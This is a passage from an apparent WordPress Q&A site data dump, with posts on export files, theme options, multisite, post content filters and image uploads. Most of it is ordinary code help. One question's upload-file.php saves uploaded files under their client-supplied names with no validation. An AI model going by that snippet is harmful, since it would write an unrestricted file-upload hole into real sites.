i:39;a:2:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;s:12:&quot;my_cat_hide&quot;;s:4:&quot;true&quot;;}&#xA;    i:40;a:2:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;s:12:&quot;my_cat_hide&quot;;s:4:&quot;true&quot;;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-23T08:51:02.217" Title="How do I retrieve multiple values from a multidimensional array in wp_options?" Tags="&lt;wp-options&gt;&lt;array&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7538" PostTypeId="2" ParentId="7441" CreationDate="2011-01-23T05:35:35.730" Score="1" ViewCount="" Body="&lt;p&gt;It seems to be an RSS Feed &lt;a href=&quot;http://en.wikipedia.org/wiki/RSS&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/RSS&lt;/a&gt;&#xA;extended with some of WordPress's own extensions. &#xA;Unfortunately, it applies only to posts and pages.  I was thinking about using it to migrate data from PHP-Fusion to WordPress, but it would only be a partial solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried some of the naemspaces below in the browser to see if they would give me a schema or DTD, but they did not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:excerpt=&quot;http://wordpress.org/export/1.0/excerpt/&quot;&#xA;-   xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:wp=&quot;http://wordpress.org/export/1.0/&quot;&#xA;&amp;gt;&#xA;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;MrHebrew.com&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;http://mrhebrew.com&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;My Site Descr&amp;lt;/description&amp;gt;&#xA;    &amp;lt;pubDate&amp;gt;Wed, 05 Jan 2011 05:54:07 +0000&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=3.0.3&amp;lt;/generator&amp;gt;&#xA;    &amp;lt;language&amp;gt;en&amp;lt;/language&amp;gt;&#xA;    &amp;lt;wp:wxr_version&amp;gt;1.0&amp;lt;/wp:wxr_version&amp;gt;&#xA;    &amp;lt;wp:base_site_url&amp;gt;http://mrhebrew.com&amp;lt;/wp:base_site_url&amp;gt;&#xA;    &amp;lt;wp:base_blog_url&amp;gt;http://mrhebrew.com&amp;lt;/wp:base_blog_url&amp;gt;&#xA;        &amp;lt;wp:category&amp;gt;&amp;lt;wp:category_nicename&amp;gt;adam-and-eve&amp;lt;/wp:category_nicename&amp;gt;&amp;lt;wp:category_parent&amp;gt;&amp;lt;/wp:category_parent&amp;gt;&amp;lt;wp:cat_name&amp;gt;&amp;lt;![CDATA[Adam and Eve]]&amp;gt;&amp;lt;/wp:cat_name&amp;gt;&amp;lt;/wp:category&amp;gt;&#xA;        &amp;lt;wp:category&amp;gt;&amp;lt;wp:category_nicename&amp;gt;book-of-joshua&amp;lt;/wp:category_nicename&amp;gt;&amp;lt;wp:category_parent&amp;gt;&amp;lt;/wp:category_parent&amp;gt;&amp;lt;wp:cat_name&amp;gt;&amp;lt;![CDATA[Book of Joshua]]&amp;gt;&amp;lt;/wp:cat_name&amp;gt;&amp;lt;/wp:category&amp;gt;&#xA;        &amp;lt;wp:tag&amp;gt;&amp;lt;wp:tag_slug&amp;gt;jeremiah&amp;lt;/wp:tag_slug&amp;gt;&amp;lt;wp:tag_name&amp;gt;&amp;lt;![CDATA[Jeremiah]]&amp;gt;&amp;lt;/wp:tag_name&amp;gt;&amp;lt;/wp:tag&amp;gt;&#xA;        &amp;lt;wp:tag&amp;gt;&amp;lt;wp:tag_slug&amp;gt;joshua&amp;lt;/wp:tag_slug&amp;gt;&amp;lt;wp:tag_name&amp;gt;&amp;lt;![CDATA[Joshua]]&amp;gt;&amp;lt;/wp:tag_name&amp;gt;&amp;lt;/wp:tag&amp;gt;&#xA;        &amp;lt;wp:tag&amp;gt;&amp;lt;wp:tag_slug&amp;gt;judges&amp;lt;/wp:tag_slug&amp;gt;&amp;lt;wp:tag_name&amp;gt;&amp;lt;![CDATA[Judges]]&amp;gt;&amp;lt;/wp:tag_name&amp;gt;&amp;lt;/wp:tag&amp;gt;&#xA;        &amp;lt;wp:tag&amp;gt;&amp;lt;wp:tag_slug&amp;gt;king-saul&amp;lt;/wp:tag_slug&amp;gt;&amp;lt;wp:tag_name&amp;gt;&amp;lt;![CDATA[King Saul]]&amp;gt;&amp;lt;/wp:tag_name&amp;gt;&amp;lt;/wp:tag&amp;gt;&#xA;        &amp;lt;item&amp;gt;&#xA;        &amp;lt;title&amp;gt;Another Possible Punctuation Changes Meaning Entirely&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;http://mrhebrew.com/?p=136&amp;lt;/link&amp;gt;&#xA;        &amp;lt;pubDate&amp;gt;Wed, 05 Jan 2011 05:52:49 +0000&amp;lt;/pubDate&amp;gt;&#xA;        &amp;lt;dc:creator&amp;gt;&amp;lt;![CDATA[Administrator]]&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;&#xA;        &amp;lt;category&amp;gt;&amp;lt;![CDATA[Isaiah]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&#xA;        &amp;lt;category domain=&quot;category&quot; nicename=&quot;isaiah&quot;&amp;gt;&amp;lt;![CDATA[Isaiah]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&#xA;        &amp;lt;category&amp;gt;&amp;lt;![CDATA[Punctuation]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&#xA;        &amp;lt;category domain=&quot;category&quot; nicename=&quot;punctuation&quot;&amp;gt;&amp;lt;![CDATA[Punctuation]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&#xA;        &amp;lt;category domain=&quot;tag&quot;&amp;gt;&amp;lt;![CDATA[punctuation]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&#xA;        &amp;lt;category domain=&quot;tag&quot; nicename=&quot;punctuation-2&quot;&amp;gt;&amp;lt;![CDATA[punctuation]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&#xA;        &amp;lt;category domain=&quot;tag&quot;&amp;gt;&amp;lt;![CDATA[question-mark]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&#xA;        &amp;lt;category domain=&quot;tag&quot; nicename=&quot;question-mark&quot;&amp;gt;&amp;lt;![CDATA[question-mark]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&#xA;        &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;http://mrhebrew.com/?p=136&amp;lt;/guid&amp;gt;&#xA;        &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;        &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&#xA;text of blog here &#xA;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;        &amp;lt;excerpt:encoded&amp;gt;&amp;lt;![CDATA[]]&amp;gt;&amp;lt;/excerpt:encoded&amp;gt;&#xA;        &amp;lt;wp:post_id&amp;gt;136&amp;lt;/wp:post_id&amp;gt;&#xA;        &amp;lt;wp:post_date&amp;gt;2011-01-05 05:52:49&amp;lt;/wp:post_date&amp;gt;&#xA;        &amp;lt;wp:post_date_gmt&amp;gt;2011-01-05 05:52:49&amp;lt;/wp:post_date_gmt&amp;gt;&#xA;        &amp;lt;wp:comment_status&amp;gt;open&amp;lt;/wp:comment_status&amp;gt;&#xA;        &amp;lt;wp:ping_status&amp;gt;open&amp;lt;/wp:ping_status&amp;gt;&#xA;        &amp;lt;wp:post_name&amp;gt;another-possible-punctuation-changes-meaning-entirely&amp;lt;/wp:post_name&amp;gt;&#xA;        &amp;lt;wp:status&amp;gt;publish&amp;lt;/wp:status&amp;gt;&#xA;        &amp;lt;wp:post_parent&amp;gt;0&amp;lt;/wp:post_parent&amp;gt;&#xA;        &amp;lt;wp:menu_order&amp;gt;0&amp;lt;/wp:menu_order&amp;gt;&#xA;        &amp;lt;wp:post_type&amp;gt;post&amp;lt;/wp:post_type&amp;gt;&#xA;        &amp;lt;wp:post_password&amp;gt;&amp;lt;/wp:post_password&amp;gt;&#xA;        &amp;lt;wp:is_sticky&amp;gt;0&amp;lt;/wp:is_sticky&amp;gt;&#xA;                                &amp;lt;wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:meta_key&amp;gt;_edit_lock&amp;lt;/wp:meta_key&amp;gt;&#xA;        &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1294206847]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;                &amp;lt;wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:meta_key&amp;gt;_edit_last&amp;lt;/wp:meta_key&amp;gt;&#xA;        &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;                &amp;lt;wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:meta_key&amp;gt;_encloseme&amp;lt;/wp:meta_key&amp;gt;&#xA;        &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;                &amp;lt;wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:meta_key&amp;gt;_wp_old_slug&amp;lt;/wp:meta_key&amp;gt;&#xA;        &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;                &amp;lt;wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:meta_key&amp;gt;_pingme&amp;lt;/wp:meta_key&amp;gt;&#xA;        &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;                &amp;lt;wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:meta_key&amp;gt;_wp_old_slug&amp;lt;/wp:meta_key&amp;gt;&#xA;        &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[another-possible-punctuation-changs-meaning-entirely]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;                                &amp;lt;wp:comment&amp;gt;&#xA;        &amp;lt;wp:comment_id&amp;gt;267&amp;lt;/wp:comment_id&amp;gt;&#xA;        &amp;lt;wp:comment_author&amp;gt;&amp;lt;![CDATA[sex tubes]]&amp;gt;&amp;lt;/wp:comment_author&amp;gt;&#xA;        &amp;lt;wp:comment_author_email&amp;gt;tu23me66ner@gmail.com&amp;lt;/wp:comment_author_email&amp;gt;&#xA;        &amp;lt;wp:comment_author_url&amp;gt;http://41tube.com&amp;lt;/wp:comment_author_url&amp;gt;&#xA;        &amp;lt;wp:comment_author_IP&amp;gt;89.149.244.89&amp;lt;/wp:comment_author_IP&amp;gt;&#xA;        &amp;lt;wp:comment_date&amp;gt;2011-01-08 20:26:32&amp;lt;/wp:comment_date&amp;gt;&#xA;        &amp;lt;wp:comment_date_gmt&amp;gt;2011-01-08 20:26:32&amp;lt;/wp:comment_date_gmt&amp;gt;&#xA;        &amp;lt;wp:comment_content&amp;gt;&amp;lt;![CDATA[I can see the logic in your argument but I think you've painted your strokes]]&amp;gt;&amp;lt;/wp:comment_content&amp;gt;&#xA;        &amp;lt;wp:comment_approved&amp;gt;spam&amp;lt;/wp:comment_approved&amp;gt;&#xA;        &amp;lt;wp:comment_type&amp;gt;&amp;lt;/wp:comment_type&amp;gt;&#xA;        &amp;lt;wp:comment_parent&amp;gt;0&amp;lt;/wp:comment_parent&amp;gt;&#xA;        &amp;lt;wp:comment_user_id&amp;gt;0&amp;lt;/wp:comment_user_id&amp;gt;&#xA;        &amp;lt;/wp:comment&amp;gt;&#xA;            &amp;lt;/item&amp;gt;&#xA;    &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-01-23T05:35:35.730" />
  <row Id="7540" PostTypeId="1" AcceptedAnswerId="7544" CreationDate="2011-01-23T05:57:59.647" Score="2" ViewCount="168" Body="&lt;p&gt;Example post&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Lorem ipsum dolor sit amet&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Morbi elementum odio vel tortor adipiscing vel tempor risus ullamcorper.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I have done :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function first_paragraph($content){&#xA;    return preg_replace('/&amp;lt;p([^&amp;gt;]+)?&amp;gt;/', '&amp;lt;p$1 class=&quot;first-paragraph&quot;&amp;gt;', $content, 1);&#xA;}&#xA;add_filter('the_content', 'first_paragraph');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will have different &lt;code&gt;class&lt;/code&gt; for first paragraph&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want add &lt;code&gt;&amp;lt;span class=&quot;first-letter&quot;&amp;gt;L&amp;lt;/span&amp;gt;&lt;/code&gt; and result should be like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;first-paragraph&quot;&amp;gt;&amp;lt;span class=&quot;first-letter&quot;&amp;gt;L&amp;lt;/span&amp;gt;orem ipsum dolor sit amet&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Morbi elementum odio vel tortor adipiscing vel tempor risus ullamcorper.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it worked but not a perfect solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function first_paragraph($content){&#xA;    $content = substr_replace($content, '&amp;lt;/span&amp;gt;', 4, 0);&#xA;    $content = substr_replace($content, '&amp;lt;span class=&quot;first-letter&quot;&amp;gt;', 3, 0);&#xA;    $content = preg_replace('/&amp;lt;p([^&amp;gt;]+)?&amp;gt;/', '&amp;lt;p$1 class=&quot;first-paragraph&quot;&amp;gt;', $content, 1); &#xA;return $content;&#xA;}&#xA;add_filter('the_content', 'first_paragraph');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2163" LastEditorUserId="2163" LastEditorDisplayName="" LastEditDate="2011-01-23T10:07:20.883" LastActivityDate="2011-01-23T10:07:20.883" Title="Add span to the first letter of post" Tags="&lt;the-content&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7541" PostTypeId="1" AcceptedAnswerId="7543" CreationDate="2011-01-23T06:53:04.917" Score="1" ViewCount="336" Body="&lt;p&gt;Logically, I'm thinking it should something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; id=&quot;my_category_layout&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;Item1&quot;&amp;gt;Item 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Item2&quot;&amp;gt;Item 2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Item3&quot;&amp;gt;Item 3&amp;lt;/option&amp;gt;&#xA;&amp;lt;/input&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But from what i've seen radio buttons dont markup like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My existing code is below that creates a select list pulldown menu that allows me to capture a selected value. I'm struggling with how to convert this into a radio group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue is that there is only one ID to represent the select, but I can't figure how to create three radio buttons with a single ID value that can be passed to represent the selected button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do that? Here's my existing code for creating a select with a single id and multiple values...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$mySelectOptions = array(&quot;list&quot; =&amp;gt; &quot;List View&quot;, &quot;grid1&quot; =&amp;gt; &quot;Grid View Multi Column&quot;, &quot;grid2&quot; =&amp;gt; &quot;Grid View Two Column&quot;);&#xA;&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Category Layout&quot;,&#xA;     &quot;desc&quot; =&amp;gt; &quot;description goes here&quot;,&#xA;     &quot;id&quot; =&amp;gt; &quot;my_category_layout&quot;,&#xA;     &quot;type&quot; =&amp;gt; &quot;select&quot;,&#xA;    &quot;options&quot; =&amp;gt; $mySelectOptions ),&#xA;?&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($options as $value) &#xA;{&#xA;    switch ( $value['type'] ) &#xA;    {&#xA;    case &quot;select&quot;:&#xA;    ?&amp;gt;&#xA;    &amp;lt;select class=&quot;input&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($value['options'] as $option) { ?&amp;gt;&#xA;        &amp;lt;option&amp;lt;?php if ( get_settings( $value['id'] ) == $option) { echo ' selected=&quot;selected&quot;';&#xA;        } &#xA;        elseif ($option == $value['std']) &#xA;        { &#xA;        echo ' selected=&quot;selected&quot;'; &#xA;        } ?&amp;gt; value='&amp;lt;?php echo $option; ?&amp;gt;'&amp;gt;&#xA;        &amp;lt;?php echo $option; ?&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&amp;lt;?php&#xA;break;&#xA;case &quot;radio&quot;:&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-23T10:10:17.330" LastActivityDate="2011-01-23T10:10:17.330" Title="How to create a multiple choice radio group for a single theme option" Tags="&lt;theme-development&gt;&lt;forms&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7542" PostTypeId="1" AcceptedAnswerId="7545" CreationDate="2011-01-23T07:11:50.673" Score="1" ViewCount="48" Body="&lt;p&gt;I have &lt;em&gt;primarydomain.com&lt;/em&gt; and an &lt;em&gt;addondomain.com&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;addondomain.com&lt;/em&gt; points to &lt;em&gt;primarydomain.com/addondomain&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed 2 seperate installs of wordpress on &lt;em&gt;primarydomain.com&lt;/em&gt; and &lt;em&gt;primarydomain.com/addondomain&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I activate multisite on &lt;em&gt;primarydomain.com/addondomain&lt;/em&gt; as &lt;em&gt;addondomain.com&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My reason for this is these are two separate sites with two separate functions, so I wanted to use separate databases. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2679" LastEditorUserId="2679" LastEditorDisplayName="" LastEditDate="2011-01-23T08:44:54.460" LastActivityDate="2011-01-23T15:26:28.727" Title="Can you install / activate the multisite when the install is in a subfolder?" Tags="&lt;multisite&gt;&lt;domain&gt;" AnswerCount="2" />
  <row Id="7543" PostTypeId="2" ParentId="7541" CreationDate="2011-01-23T07:21:35.240" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;case &quot;radio&quot;:&#xA;  foreach ($value['options'] as $option) { ?&amp;gt;&#xA;     &amp;lt;label for=&quot;&amp;lt;?php echo &quot;{$value['id']}_{$option}&quot;; ?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;input&#xA;        type=&quot;radio&quot;&#xA;        name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&#xA;        id=&amp;lt;?php echo &quot;{$value['id']}_{$option}&quot;; ?&amp;gt;&#xA;        value=&quot;&amp;lt;?php echo $option; ?&amp;gt;&quot;&#xA;        &amp;lt;?php checked($option, get_settings($value['id'])); ?&amp;gt;&#xA;     /&amp;gt;&#xA;     &amp;lt;?php echo $option; ?&amp;gt;&#xA;     &amp;lt;/label&amp;gt;&#xA;  &amp;lt;?php }&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't recommend coding theme/plugin settings this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The array above doesn't just represent the option:value, but also the type of input, possible values (description, id?)... This just feels wrong. And you're making the code lack flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if you decide later to change a select field with a radio field?&#xA;Or what if you want to add a image describing the option, or a color picker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do you think WP's core options are not coded this way?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-23T07:21:35.240" />
  <row Id="7544" PostTypeId="2" ParentId="7540" CreationDate="2011-01-23T07:52:50.247" Score="1" ViewCount="" Body="&lt;p&gt;This drop caps plugin does what you are looking for: &lt;a href=&quot;http://wordpress.org/extend/plugins/drop-caps/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/drop-caps/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to do drop caps this should be enough. If you want to do more you could look into the code and see how the plugin wraps the 1st char in a span. It probably uses preg replace too.  Id look myself but I'm answering this on my phone and have no way of looking at the code.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2011-01-23T07:52:50.247" CommentCount="1" />
  <row Id="7545" PostTypeId="2" ParentId="7542" CreationDate="2011-01-23T08:17:55.300" Score="1" ViewCount="" Body="&lt;p&gt;Yes, it is possible, as long as you use addondomain.com to access the Multisite.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2011-01-23T08:17:55.300" CommentCount="5" />
  <row Id="7546" PostTypeId="2" ParentId="7537" CreationDate="2011-01-23T08:51:02.217" Score="2" ViewCount="" Body="&lt;p&gt;The following should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_hidden_cats() {&#xA;    $my_cats = get_option('ce4_category_fields');&#xA;&#xA;    $my_hidden_cats = array();&#xA;    foreach( $my_cats as $cat_id =&amp;gt; $cat_attrs ) {&#xA;        if( 'true' == $cat_attrs['my_cat_hide'] )&#xA;            $my_hidden_cats[] = $cat_id;&#xA;    }&#xA;    $my_hidden_cats = implode( ',', $my_hidden_cats );&#xA;&#xA;    return $my_hidden_cats;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2011-01-23T08:51:02.217" CommentCount="2" />
  <row Id="7547" PostTypeId="2" ParentId="7536" CreationDate="2011-01-23T09:07:44.007" Score="1" ViewCount="" Body="&lt;p&gt;The color is being saved in a cookie set via javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is more of a JavaScript question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to change the background color with a color picker: &lt;a href=&quot;http://stackoverflow.com/questions/4146621/changing-colors-with-jquery-with-a-color-picker&quot;&gt;http://stackoverflow.com/questions/4146621/changing-colors-with-jquery-with-a-color-picker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to use jQuery to manage cookies:&#xA;&lt;a href=&quot;http://www.ilovecolors.com.ar/using-cookies-jquery/&quot; rel=&quot;nofollow&quot;&gt;http://www.ilovecolors.com.ar/using-cookies-jquery/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2011-01-23T09:07:44.007" CommentCount="1" />
  <row Id="7548" PostTypeId="1" AcceptedAnswerId="7551" CreationDate="2011-01-23T09:30:24.010" Score="2" ViewCount="77" Body="&lt;p&gt;I have a post_meta &quot;thevoters&quot; that store users ids like: 1,2,20 ...etc,&#xA;How i can turn this id's to User Names to list them in a single page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will echo the numbers as text,  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_post_meta(get_the_ID(), &quot;thevoters&quot;, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help?&lt;br&gt;&#xA;thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-23T10:10:26.860" Title="Convert User ID's to User Names in a single.php file" Tags="&lt;functions&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="7550" PostTypeId="1" CreationDate="2011-01-23T09:46:04.457" Score="0" ViewCount="91" Body="&lt;p&gt;Does anyone know a Free Open Source Wordpress Theme Framework intended for the following?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gettext internationalization (and localization)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image upload (Logo, background, image upload).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creation of Static content (e.g. Tagline) &lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-23T09:46:04.457" Title="Free Wordpress Theme Framework intended for the following: internationalization, image upload or text insertion?" Tags="&lt;framework&gt;" CommentCount="2" />
  <row Id="7551" PostTypeId="2" ParentId="7548" CreationDate="2011-01-23T10:10:26.860" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$thevoters_ids = get_post_meta( get_the_ID(), &quot;thevoters&quot;, true ); // get a comma separated list of ids&#xA;&#xA;$thevoters_ids = explode( ',', $thevoters_ids ); // turn the list into an array&#xA;&#xA;foreach ( $thevoters_ids as $thevoter_id ) { // loop through the ids&#xA;    $thevoter = get_user_by( 'id', $thevoter_id ); // get the user object by id&#xA;    echo $thevoter-&amp;gt;display_name; // display the user name&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2011-01-23T10:10:26.860" CommentCount="2" />
  <row Id="7553" PostTypeId="2" ParentId="7531" CreationDate="2011-01-23T10:46:28.890" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;function removeLink() {&#xA;    theAs = document.getElementById('lg_image').childNodes; // get all children of div#lg_image&#xA;&#xA;    for( i = 0; i &amp;lt; theAs.length; i++ ) { // loop through the children&#xA;        if( theAs[i].nodeType != 3 ) { // if the child is not a whitespace,&#xA;            theImg = theAs[i].innerHTML; // it is the a which contains the img, so save its content&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;    document.getElementById('lg_image').innerHTML = theImg; // set the img as content of div#lg_imagei&#xA;}&#xA;&#xA;function addEvent(obj, evType, fn) { &#xA;    if (obj.addEventListener) { &#xA;        obj.addEventListener(evType, fn, false); &#xA;        return true; &#xA;    } else if (obj.attachEvent) { &#xA;        var r = obj.attachEvent(&quot;on&quot;+evType, fn); &#xA;        return r; &#xA;    } else { &#xA;        return false; &#xA;    } &#xA;}&#xA;&#xA;addEvent(window, 'load', removeLink);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2011-01-23T13:23:09.430" LastActivityDate="2011-01-23T13:23:09.430" CommentCount="3" />
  <row Id="7554" PostTypeId="1" CreationDate="2011-01-23T12:35:38.007" Score="1" ViewCount="532" Body="&lt;p&gt;I followed the method used in the Satoshi Wordpress Theme in order to let the user upload an image to a section of the page (and add some text).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the code just let me uploads one image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to create separate files in order to archive this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(e.g custom-slider-1.php, custom-slider-2.php, custom-slider-3.php, etc...)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or there is a simpler option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;upload-file.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], &quot;images/&quot; . $_FILES[&quot;uploadfile&quot;][&quot;name&quot;])) { &#xA;  echo &quot;success&quot;; &#xA;} else {&#xA; echo &quot;error&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;custom-slider.php (it is called to be placed in a div in 